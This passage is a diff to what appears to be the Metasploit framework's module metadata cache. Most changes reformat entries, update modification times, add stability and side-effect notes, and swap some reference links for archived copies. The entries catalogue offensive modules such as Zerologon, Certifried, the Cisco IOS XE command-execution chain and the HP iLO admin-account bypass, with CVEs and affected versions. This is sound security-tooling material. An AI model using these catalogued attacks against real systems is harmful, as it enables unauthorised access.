NetScaler Config Secrets", "fullname": "auxiliary/admin/citrix/citrix_netscaler_config_decrypt", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2022-05-19", "type": "auxiliary", @@ -591,12 +614,8 @@ "platform": "BSD", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb", @@ -628,9 +647,7 @@ "auxiliary_admin/db2/db2rcmd": { "name": "IBM DB2 db2rcmd.exe Command Execution Vulnerability", "fullname": "auxiliary/admin/db2/db2rcmd", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2004-03-04", "type": "auxiliary", @@ -655,7 +672,7 @@ "microsoft-ds" ], "targets": null, - "mod_time": "2022-08-08 01:40:15 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/db2/db2rcmd.rb", "is_install_path": true, "ref_name": "admin/db2/db2rcmd", @@ -663,19 +680,22 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/dcerpc/cve_2020_1472_zerologon": { "name": "Netlogon Weak Cryptographic Authentication", "fullname": "auxiliary/admin/dcerpc/cve_2020_1472_zerologon", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -717,9 +737,7 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "config-changes", "ioc-in-logs" @@ -741,9 +759,7 @@ "auxiliary_admin/dcerpc/cve_2022_26923_certifried": { "name": "Active Directory Certificate Services (ADCS) privilege escalation (Certifried)", "fullname": "auxiliary/admin/dcerpc/cve_2022_26923_certifried", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -771,7 +787,7 @@ "microsoft-ds" ], "targets": null, - "mod_time": "2024-11-12 12:08:18 +0000", + "mod_time": "2025-06-04 11:22:26 +0000", "path": "/modules/auxiliary/admin/dcerpc/cve_2022_26923_certifried.rb", "is_install_path": true, "ref_name": "admin/dcerpc/cve_2022_26923_certifried", @@ -782,9 +798,7 @@ "AKA": [ "Certifried" ], - "Reliability": [ - - ], + "Reliability": [], "Stability": [ "crash-safe" ], @@ -812,9 +826,7 @@ "auxiliary_admin/dcerpc/icpr_cert": { "name": "ICPR Certificate Management", "fullname": "auxiliary/admin/dcerpc/icpr_cert", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -826,6 +838,7 @@ ], "description": "Request certificates via MS-ICPR (Active Directory Certificate Services). Depending on the certificate\n template's configuration the resulting certificate can be used for various operations such as authentication.\n PFX certificate files that are saved are encrypted with a blank password.\n\n This module is capable of exploiting ESC1, ESC2, ESC3, ESC13 and ESC15.", "references": [ + "URL-https://posts.specterops.io/certified-pre-owned-d95910965cd2", "URL-https://github.com/GhostPack/Certify", "URL-https://github.com/ly4k/Certipy" ], @@ -841,7 +854,7 @@ "microsoft-ds" ], "targets": null, - "mod_time": "2024-12-16 14:55:10 +0000", + "mod_time": "2025-05-30 13:54:35 +0000", "path": "/modules/auxiliary/admin/dcerpc/icpr_cert.rb", "is_install_path": true, "ref_name": "admin/dcerpc/icpr_cert", @@ -849,12 +862,8 @@ "post_auth": false, "default_credential": false, "notes": { - "Reliability": [ - - ], - "Stability": [ - - ], + "Reliability": [], + "Stability": [], "SideEffects": [ "ioc-in-logs" ], @@ -912,12 +921,8 @@ "post_auth": false, "default_credential": false, "notes": { - "Reliability": [ - - ], - "Stability": [ - - ], + "Reliability": [], + "Stability": [], "SideEffects": [ "ioc-in-logs" ], @@ -952,9 +957,7 @@ "auxiliary_admin/dns/dyn_dns_update": { "name": "DNS Server Dynamic Update Record Injection", "fullname": "auxiliary/admin/dns/dyn_dns_update", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -972,14 +975,10 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/dns/dyn_dns_update.rb", "is_install_path": true, "ref_name": "admin/dns/dyn_dns_update", @@ -987,6 +986,14 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "config-changes" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -1008,16 +1015,14 @@ "auxiliary_admin/edirectory/edirectory_dhost_cookie": { "name": "Novell eDirectory DHOST Predictable Session Cookie", "fullname": "auxiliary/admin/edirectory/edirectory_dhost_cookie", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "hdm " ], - "description": "This module is able to predict the next session cookie value issued\n by the DHOST web service of Novell eDirectory 8.8.5. An attacker can run\n this module, wait until the real administrator logs in, then specify the\n predicted cookie value to hijack their session.", + "description": "This module is able to predict the next session cookie value issued\n by the DHOST web service of Novell eDirectory 8.8.5. An attacker can run\n this module, wait until the real administrator logs in, then specify the\n predicted cookie value to hijack their session.", "references": [ "CVE-2009-4655", "OSVDB-60035" @@ -1025,14 +1030,10 @@ "platform": "", "arch": "", "rport": 8030, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2018-07-08 19:00:11 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/edirectory/edirectory_dhost_cookie.rb", "is_install_path": true, "ref_name": "admin/edirectory/edirectory_dhost_cookie", @@ -1040,19 +1041,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/edirectory/edirectory_edirutil": { "name": "Novell eDirectory eMBox Unauthenticated File Access", "fullname": "auxiliary/admin/edirectory/edirectory_edirutil", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -1061,7 +1063,7 @@ "MC ", "sinn3r " ], - "description": "This module will access Novell eDirectory's eMBox service and can run the\n following actions via the SOAP interface: GET_DN, READ_LOGS, LIST_SERVICES,\n STOP_SERVICE, START_SERVICE, SET_LOGFILE.", + "description": "This module will access Novell eDirectory's eMBox service and can run the\n following actions via the SOAP interface: GET_DN, READ_LOGS, LIST_SERVICES,\n STOP_SERVICE, START_SERVICE, SET_LOGFILE.", "references": [ "CVE-2008-0926", "BID-28441", @@ -1086,7 +1088,7 @@ "https" ], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/edirectory/edirectory_edirutil.rb", "is_install_path": true, "ref_name": "admin/edirectory/edirectory_edirutil", @@ -1094,6 +1096,13 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -1127,9 +1136,7 @@ "auxiliary_admin/emc/alphastor_devicemanager_exec": { "name": "EMC AlphaStor Device Manager Arbitrary Command Execution", "fullname": "auxiliary/admin/emc/alphastor_devicemanager_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-05-27", "type": "auxiliary", @@ -1146,14 +1153,10 @@ "platform": "", "arch": "", "rport": 3000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/emc/alphastor_devicemanager_exec.rb", "is_install_path": true, "ref_name": "admin/emc/alphastor_devicemanager_exec", @@ -1161,19 +1164,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/emc/alphastor_librarymanager_exec": { "name": "EMC AlphaStor Library Manager Arbitrary Command Execution", "fullname": "auxiliary/admin/emc/alphastor_librarymanager_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-05-27", "type": "auxiliary", @@ -1190,14 +1196,10 @@ "platform": "", "arch": "", "rport": 3500, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/emc/alphastor_librarymanager_exec.rb", "is_install_path": true, "ref_name": "admin/emc/alphastor_librarymanager_exec", @@ -1205,28 +1207,31 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/firetv/firetv_youtube": { "name": "Amazon Fire TV YouTube Remote Control", "fullname": "auxiliary/admin/firetv/firetv_youtube", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "wvu " ], - "description": "This module acts as a simple remote control for the Amazon Fire TV's\n YouTube app.\n\n Tested on the Amazon Fire TV Stick.", + "description": "This module acts as a simple remote control for the Amazon Fire TV's\n YouTube app.\n\n Tested on the Amazon Fire TV Stick.", "references": [ - "URL-https://www.amazon.com/dp/B00CX5P8FC?_encoding=UTF8&showFS=1", + "URL-http://http://web.archive.org/web/20210301101536/http://www.amazon.com/dp/B00CX5P8FC/?_encoding=UTF8", "URL-https://www.amazon.com/dp/B00GDQ0RMG/ref=fs_ftvs" ], "platform": "", @@ -1248,7 +1253,7 @@ "https" ], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/firetv/firetv_youtube.rb", "is_install_path": true, "ref_name": "admin/firetv/firetv_youtube", @@ -1256,6 +1261,14 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "screen-effects" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -1273,9 +1286,7 @@ "auxiliary_admin/hp/hp_data_protector_cmd": { "name": "HP Data Protector 6.1 EXEC_CMD Command Execution", "fullname": "auxiliary/admin/hp/hp_data_protector_cmd", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-02-07", "type": "auxiliary", @@ -1285,7 +1296,7 @@ "wireghoul", "sinn3r " ], - "description": "This module exploits HP Data Protector's omniinet process, specifically\n against a Windows setup.\n\n When an EXEC_CMD packet is sent, omniinet.exe will attempt to look\n for that user-supplied filename with kernel32!FindFirstFileW(). If the file\n is found, the process will then go ahead execute it with CreateProcess()\n under a new thread. If the filename isn't found, FindFirstFileW() will throw\n an error (0x03), and then bails early without triggering CreateProcess().\n\n Because of these behaviors, if you try to supply an argument, FindFirstFileW()\n will look at that as part of the filename, and then bail.\n\n Please note that when you specify the 'CMD' option, the base path begins\n under C:\\.", + "description": "This module exploits HP Data Protector's omniinet process, specifically\n against a Windows setup.\n\n When an EXEC_CMD packet is sent, omniinet.exe will attempt to look\n for that user-supplied filename with kernel32!FindFirstFileW(). If the file\n is found, the process will then go ahead execute it with CreateProcess()\n under a new thread. If the filename isn't found, FindFirstFileW() will throw\n an error (0x03), and then bails early without triggering CreateProcess().\n\n Because of these behaviors, if you try to supply an argument, FindFirstFileW()\n will look at that as part of the filename, and then bail.\n\n Please note that when you specify the 'CMD' option, the base path begins\n under C:\\.", "references": [ "CVE-2011-0923", "OSVDB-72526", @@ -1295,14 +1306,10 @@ "platform": "", "arch": "", "rport": 5555, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/hp/hp_data_protector_cmd.rb", "is_install_path": true, "ref_name": "admin/hp/hp_data_protector_cmd", @@ -1310,26 +1317,29 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/hp/hp_ilo_create_admin_account": { "name": "HP iLO 4 1.00-2.50 Authentication Bypass Administrator Account Creation", "fullname": "auxiliary/admin/hp/hp_ilo_create_admin_account", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-08-24", "type": "auxiliary", "author": [ "Fabien Perigaud " ], - "description": "This module exploits an authentication bypass in HP iLO 4 1.00 to 2.50, triggered by a buffer\n overflow in the Connection HTTP header handling by the web server.\n Exploiting this vulnerability gives full access to the REST API, allowing arbitrary\n accounts creation.", + "description": "This module exploits an authentication bypass in HP iLO 4 1.00 to 2.50, triggered by a buffer\n overflow in the Connection HTTP header handling by the web server.\n Exploiting this vulnerability gives full access to the REST API, allowing arbitrary\n accounts creation.", "references": [ "CVE-2017-12542", "BID-100467", @@ -1355,7 +1365,7 @@ "https" ], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/hp/hp_ilo_create_admin_account.rb", "is_install_path": true, "ref_name": "admin/hp/hp_ilo_create_admin_account", @@ -1363,19 +1373,23 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "config-changes" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/hp/hp_imc_som_create_account": { "name": "HP Intelligent Management SOM Account Creation", "fullname": "auxiliary/admin/hp/hp_imc_som_create_account", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-10-08", "type": "auxiliary", @@ -1383,7 +1397,7 @@ "rgod ", "juan vazquez " ], - "description": "This module exploits a lack of authentication and access control in HP Intelligent\n Management, specifically in the AccountService RpcServiceServlet from the SOM component,\n in order to create a SOM account with Account Management permissions. This module has\n been tested successfully on HP Intelligent Management Center 5.2 E0401 and 5.1 E202 with\n SOM 5.2 E0401 and SOM 5.1 E0201 over Windows 2003 SP2.", + "description": "This module exploits a lack of authentication and access control in HP Intelligent\n Management, specifically in the AccountService RpcServiceServlet from the SOM component,\n in order to create a SOM account with Account Management permissions. This module has\n been tested successfully on HP Intelligent Management Center 5.2 E0401 and 5.1 E202 with\n SOM 5.2 E0401 and SOM 5.1 E0201 over Windows 2003 SP2.", "references": [ "CVE-2013-4824", "OSVDB-98249", @@ -1410,7 +1424,7 @@ "https" ], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/hp/hp_imc_som_create_account.rb", "is_install_path": true, "ref_name": "admin/hp/hp_imc_som_create_account", @@ -1418,19 +1432,22 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/allegro_rompager_auth_bypass": { "name": "Allegro Software RomPager 'Misfortune Cookie' (CVE-2014-9222) Authentication Bypass", "fullname": "auxiliary/admin/http/allegro_rompager_auth_bypass", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-12-17", "type": "auxiliary", @@ -1465,7 +1482,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.rb", "is_install_path": true, "ref_name": "admin/http/allegro_rompager_auth_bypass", @@ -1473,19 +1490,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/arris_motorola_surfboard_backdoor_xss": { "name": "Arris / Motorola Surfboard SBG6580 Web Interface Takeover", "fullname": "auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-04-08", "type": "auxiliary", @@ -1497,19 +1517,15 @@ "CVE-2015-0964", "CVE-2015-0965", "CVE-2015-0966", - "URL-https://www.rapid7.com/blog/post/2015/06/05/r7-2015-01-csrf-backdoor-and-persistent-xss-on-arris-motorola-cable-modems/" + "URL-http://web.archive.org/web/20220810083803/https://www.rapid7.com/blog/post/2015/06/05/r7-2015-01-csrf-backdoor-and-persistent-xss-on-arris-motorola-cable-modems/" ], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2024-01-07 15:02:53 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss.rb", "is_install_path": true, "ref_name": "admin/http/arris_motorola_surfboard_backdoor_xss", @@ -1517,6 +1533,14 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "config-changes" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -1530,9 +1554,7 @@ "auxiliary_admin/http/atlassian_confluence_auth_bypass": { "name": "Atlassian Confluence Data Center and Server Authentication Bypass via Broken Access Control", "fullname": "auxiliary/admin/http/atlassian_confluence_auth_bypass", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2023-10-04", "type": "auxiliary", @@ -1587,16 +1609,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/axigen_file_access": { "name": "Axigen Arbitrary File Read and Delete", "fullname": "auxiliary/admin/http/axigen_file_access", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-10-31", "type": "auxiliary", @@ -1629,7 +1647,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/axigen_file_access.rb", "is_install_path": true, "ref_name": "admin/http/axigen_file_access", @@ -1637,6 +1655,13 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "os-resource-loss" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -1654,9 +1679,7 @@ "auxiliary_admin/http/cfme_manageiq_evm_pass_reset": { "name": "Red Hat CloudForms Management Engine 5.1 miq_policy/explorer SQL Injection", "fullname": "auxiliary/admin/http/cfme_manageiq_evm_pass_reset", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-11-12", "type": "auxiliary", @@ -1688,7 +1711,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/cfme_manageiq_evm_pass_reset.rb", "is_install_path": true, "ref_name": "admin/http/cfme_manageiq_evm_pass_reset", @@ -1696,19 +1719,23 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "config-changes" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/cisco_7937g_ssh_privesc": { "name": "Cisco 7937G SSH Privilege Escalation", "fullname": "auxiliary/admin/http/cisco_7937g_ssh_privesc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-06-02", "type": "auxiliary", @@ -1723,12 +1750,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/admin/http/cisco_7937g_ssh_privesc.py", @@ -1737,20 +1760,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/cisco_ios_xe_cli_exec_cve_2023_20198": { "name": "Cisco IOX XE unauthenticated Command Line Interface (CLI) execution", "fullname": "auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2023-10-16", "type": "auxiliary", @@ -1761,7 +1779,7 @@ "references": [ "CVE-2023-20198", "URL-https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z", - "URL-https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/", + "URL-http://web.archive.org/web/20250214093736/https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/", "URL-https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z/cvrf/cisco-sa-iosxe-webui-privesc-j22SaA4z_cvrf.xml", "URL-https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-theory-crafting/", "URL-https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-deep-dive-and-poc/" @@ -1785,7 +1803,7 @@ "https" ], "targets": null, - "mod_time": "2023-11-06 11:40:22 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198.rb", "is_install_path": true, "ref_name": "admin/http/cisco_ios_xe_cli_exec_cve_2023_20198", @@ -1796,37 +1814,31 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/cisco_ios_xe_os_exec_cve_2023_20273": { "name": "Cisco IOX XE unauthenticated OS command execution", "fullname": "auxiliary/admin/http/cisco_ios_xe_os_exec_cve_2023_20273", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2023-10-16", "type": "auxiliary", "author": [ "sfewer-r7" ], - "description": "This module leverages both CVE-2023-20198 and CVE-2023-20273 against vulnerable instances of Cisco IOS XE\n devices which have the Web UI exposed. An attacker can execute arbitrary OS commands with root privileges.\n\n This module leverages CVE-2023-20198 to create a new admin user, then authenticating as this user,\n CVE-2023-20273 is leveraged for OS command injection. The output of the command is written to a file and read\n back via the webserver. Finally the output file is deleted and the admin user is removed.\n\n The vulnerable IOS XE versions are:\n 16.1.1, 16.1.2, 16.1.3, 16.2.1, 16.2.2, 16.3.1, 16.3.2, 16.3.3, 16.3.1a, 16.3.4,\n 16.3.5, 16.3.5b, 16.3.6, 16.3.7, 16.3.8, 16.3.9, 16.3.10, 16.3.11, 16.4.1, 16.4.2,\n 16.4.3, 16.5.1, 16.5.1a, 16.5.1b, 16.5.2, 16.5.3, 16.6.1, 16.6.2, 16.6.3, 16.6.4,\n 16.6.5, 16.6.4s, 16.6.4a, 16.6.5a, 16.6.6, 16.6.5b, 16.6.7, 16.6.7a, 16.6.8, 16.6.9,\n 16.6.10, 16.7.1, 16.7.1a, 16.7.1b, 16.7.2, 16.7.3, 16.7.4, 16.8.1, 16.8.1a, 16.8.1b,\n 16.8.1s, 16.8.1c, 16.8.1d, 16.8.2, 16.8.1e, 16.8.3, 16.9.1, 16.9.2, 16.9.1a, 16.9.1b,\n 16.9.1s, 16.9.1c, 16.9.1d, 16.9.3, 16.9.2a, 16.9.2s, 16.9.3h, 16.9.4, 16.9.3s, 16.9.3a,\n 16.9.4c, 16.9.5, 16.9.5f, 16.9.6, 16.9.7, 16.9.8, 16.9.8a, 16.9.8b, 16.9.8c, 16.10.1,\n 16.10.1a, 16.10.1b, 16.10.1s, 16.10.1c, 16.10.1e, 16.10.1d, 16.10.2, 16.10.1f, 16.10.1g,\n 16.10.3, 16.11.1, 16.11.1a, 16.11.1b, 16.11.2, 16.11.1s, 16.11.1c, 16.12.1, 16.12.1s,\n 16.12.1a, 16.12.1c, 16.12.1w, 16.12.2, 16.12.1y, 16.12.2a, 16.12.3, 16.12.8, 16.12.2s,\n 16.12.1x, 16.12.1t, 16.12.2t, 16.12.4, 16.12.3s, 16.12.1z, 16.12.3a, 16.12.4a, 16.12.5,\n 16.12.6, 16.12.1z1, 16.12.5a, 16.12.5b, 16.12.1z2, 16.12.6a, 16.12.7, 16.12.9, 16.12.10,\n 17.1.1, 17.1.1a, 17.1.1s, 17.1.2, 17.1.1t, 17.1.3, 17.2.1, 17.2.1r, 17.2.1a, 17.2.1v,\n 17.2.2, 17.2.3, 17.3.1, 17.3.2, 17.3.3, 17.3.1a, 17.3.1w, 17.3.2a, 17.3.1x, 17.3.1z,\n 17.3.3a, 17.3.4, 17.3.5, 17.3.4a, 17.3.6, 17.3.4b, 17.3.4c, 17.3.5a, 17.3.5b, 17.3.7,\n 17.3.8, 17.4.1, 17.4.2, 17.4.1a, 17.4.1b, 17.4.1c, 17.4.2a, 17.5.1, 17.5.1a, 17.5.1b,\n 17.5.1c, 17.6.1, 17.6.2, 17.6.1w, 17.6.1a, 17.6.1x, 17.6.3, 17.6.1y, 17.6.1z, 17.6.3a,\n 17.6.4, 17.6.1z1, 17.6.5, 17.6.6, 17.7.1, 17.7.1a, 17.7.1b, 17.7.2, 17.10.1, 17.10.1a,\n 17.10.1b, 17.8.1, 17.8.1a, 17.9.1, 17.9.1w, 17.9.2, 17.9.1a, 17.9.1x, 17.9.1y, 17.9.3,\n 17.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a, 17.12.1, 17.12.1a,\n 17.11.99SW", + "description": "This module leverages both CVE-2023-20198 and CVE-2023-20273 against vulnerable instances of Cisco IOS XE\n devices which have the Web UI exposed. An attacker can execute arbitrary OS commands with root privileges.\n\n This module leverages CVE-2023-20198 to create a new admin user, then authenticating as this user,\n CVE-2023-20273 is leveraged for OS command injection. The output of the command is written to a file and read\n back via the webserver. Finally the output file is deleted and the admin user is removed.\n\n The vulnerable IOS XE versions are:\n 16.1.1, 16.1.2, 16.1.3, 16.2.1, 16.2.2, 16.3.1, 16.3.2, 16.3.3, 16.3.1a, 16.3.4,\n 16.3.5, 16.3.5b, 16.3.6, 16.3.7, 16.3.8, 16.3.9, 16.3.10, 16.3.11, 16.4.1, 16.4.2,\n 16.4.3, 16.5.1, 16.5.1a, 16.5.1b, 16.5.2, 16.5.3, 16.6.1, 16.6.2, 16.6.3, 16.6.4,\n 16.6.5, 16.6.4s, 16.6.4a, 16.6.5a, 16.6.6, 16.6.5b, 16.6.7, 16.6.7a, 16.6.8, 16.6.9,\n 16.6.10, 16.7.1, 16.7.1a, 16.7.1b, 16.7.2, 16.7.3, 16.7.4, 16.8.1, 16.8.1a, 16.8.1b,\n 16.8.1s, 16.8.1c, 16.8.1d, 16.8.2, 16.8.1e, 16.8.3, 16.9.1, 16.9.2, 16.9.1a, 16.9.1b,\n 16.9.1s, 16.9.1c, 16.9.1d, 16.9.3, 16.9.2a, 16.9.2s, 16.9.3h, 16.9.4, 16.9.3s, 16.9.3a,\n 16.9.4c, 16.9.5, 16.9.5f, 16.9.6, 16.9.7, 16.9.8, 16.9.8a, 16.9.8b, 16.9.8c, 16.10.1,\n 16.10.1a, 16.10.1b, 16.10.1s, 16.10.1c, 16.10.1e, 16.10.1d, 16.10.2, 16.10.1f, 16.10.1g,\n 16.10.3, 16.11.1, 16.11.1a, 16.11.1b, 16.11.2, 16.11.1s, 16.11.1c, 16.12.1, 16.12.1s,\n 16.12.1a, 16.12.1c, 16.12.1w, 16.12.2, 16.12.1y, 16.12.2a, 16.12.3, 16.12.8, 16.12.2s,\n 16.12.1x, 16.12.1t, 16.12.2t, 16.12.4, 16.12.3s, 16.12.1z, 16.12.3a, 16.12.4a, 16.12.5,\n 16.12.6, 16.12.1z1, 16.12.5a, 16.12.5b, 16.12.1z2, 16.12.6a, 16.12.7, 16.12.9, 16.12.10,\n 17.1.1, 17.1.1a, 17.1.1s, 17.1.2, 17.1.1t, 17.1.3, 17.2.1, 17.2.1r, 17.2.1a, 17.2.1v,\n 17.2.2, 17.2.3, 17.3.1, 17.3.2, 17.3.3, 17.3.1a, 17.3.1w, 17.3.2a, 17.3.1x, 17.3.1z,\n 17.3.3a, 17.3.4, 17.3.5, 17.3.4a, 17.3.6, 17.3.4b, 17.3.4c, 17.3.5a, 17.3.5b, 17.3.7,\n 17.3.8, 17.4.1, 17.4.2, 17.4.1a, 17.4.1b, 17.4.1c, 17.4.2a, 17.5.1, 17.5.1a, 17.5.1b,\n 17.5.1c, 17.6.1, 17.6.2, 17.6.1w, 17.6.1a, 